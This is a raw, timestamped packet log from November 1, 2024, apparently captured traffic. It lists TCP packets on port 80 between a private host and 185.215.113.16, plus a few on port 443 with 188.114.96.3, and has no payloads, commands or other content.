Nov 1, 2024 08:51:37.281456947 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.281471014 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.281481028 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.281524897 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.281565905 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.329979897 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.330008984 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.330064058 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.330153942 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.330168009 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.330195904 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.330244064 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.334085941 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.334111929 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.334125996 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.334168911 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.334216118 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.378773928 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.378920078 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.378937006 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.378957033 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.378976107 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.378990889 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.378999949 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379012108 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379026890 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379035950 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379048109 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379066944 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379079103 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379086971 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379098892 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379112005 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379113913 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379132986 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379137039 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379152060 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379159927 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379173040 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379187107 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379201889 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379203081 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379220009 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379235029 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379245043 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379245043 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379251003 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379265070 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379268885 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379277945 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379296064 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379297018 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379321098 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379333973 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379333973 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379354954 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379362106 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379374981 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379389048 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379419088 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379421949 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379437923 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379445076 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379455090 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379470110 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379478931 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379494905 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379503965 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379512072 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379528046 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379530907 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379544973 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379549980 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379561901 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379578114 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379584074 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379595041 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379602909 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379621029 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379632950 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379637003 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379643917 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379652977 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379666090 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379678965 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379681110 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379693031 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379702091 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379708052 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379709959 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379730940 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379735947 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379751921 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379753113 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379770994 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379776001 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379784107 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379786968 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379806995 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379812956 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379822969 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379827023 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379839897 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379846096 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379857063 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379865885 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379873991 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379880905 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379895926 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379899979 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379913092 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379920006 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379934072 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379949093 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379951954 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379971981 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.379991055 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.379998922 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.380011082 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.380022049 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.380036116 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.380039930 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.380058050 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.380062103 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.380074024 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.380075932 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.380100965 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.380109072 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.380136967 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.380158901 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.380165100 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.380179882 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.380197048 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.380203009 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.380213976 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.380223036 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.380238056 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.380253077 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.380620956 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.380635977 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.380650997 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.380675077 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.380677938 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.380696058 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.380702019 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.380711079 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.380727053 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.380727053 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.380744934 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.380748034 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.380774021 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.380806923 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.405579090 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.405625105 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.405639887 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.405656099 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.405693054 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.405744076 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.454243898 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.454267025 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.454284906 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.454302073 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.454349041 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.454377890 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.458252907 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.458298922 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.458316088 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.458359003 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.458373070 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.475241899 CET	443	57806	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:37.475369930 CET	443	57806	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:37.475440979 CET	57806	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:37.502881050 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.502947092 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.502973080 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.502988100 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503004074 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503019094 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503036022 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503051043 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503071070 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503077030 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503092051 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503118038 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503123999 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503133059 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503146887 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503148079 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503165960 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503176928 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503180981 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503192902 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503196955 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503209114 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503220081 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503231049 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503237009 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503241062 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503253937 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503262997 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503278017 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503293991 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503341913 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503359079 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503374100 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503385067 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503390074 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503401041 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503413916 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503417969 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503427982 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503431082 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503443956 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503458977 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503469944 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503473997 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503484964 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503488064 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503504992 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503509045 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503520966 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503535032 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503540993 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503542900 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503563881 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503582954 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503621101 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503757000 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503772020 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503787994 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503801107 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503819942 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503834963 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503837109 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503859997 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503860950 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503876925 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503885984 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503891945 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503906965 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503906965 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503916979 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503922939 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503937960 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503940105 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503953934 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503954887 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503972054 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503981113 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.503998995 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.503998995 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504019022 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504028082 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504034996 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504043102 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504060030 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504061937 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504082918 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504086971 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504101038 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504103899 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504120111 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504127026 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504137039 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504148960 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504153013 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504168987 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504177094 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504200935 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504223108 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504237890 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504261017 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504266977 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504276037 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504286051 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504295111 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504307032 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504322052 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504340887 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504364014 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504379988 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504395008 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504406929 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504429102 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504434109 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504445076 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504448891 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504468918 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504482985 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504487038 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504496098 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504519939 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504534960 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504539013 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504550934 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504568100 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504600048 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504621029 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504636049 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504651070 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504664898 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504667997 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504684925 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504699945 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504703045 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504728079 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504740000 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504748106 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504764080 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504779100 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.504816055 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.504839897 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.520165920 CET	57806	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:37.520194054 CET	443	57806	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:37.529824972 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.529864073 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.529894114 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.529930115 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.530128956 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.530169964 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.530210018 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.571255922 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.571286917 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.571356058 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.579436064 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.579452991 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.579468966 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.579494953 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.579509974 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.591073036 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.591120958 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.591129065 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.591137886 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.591165066 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.591181040 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.626981974 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627013922 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627038956 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627063036 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627064943 CET	80	57777	185.215.113.16	192.168.2.4
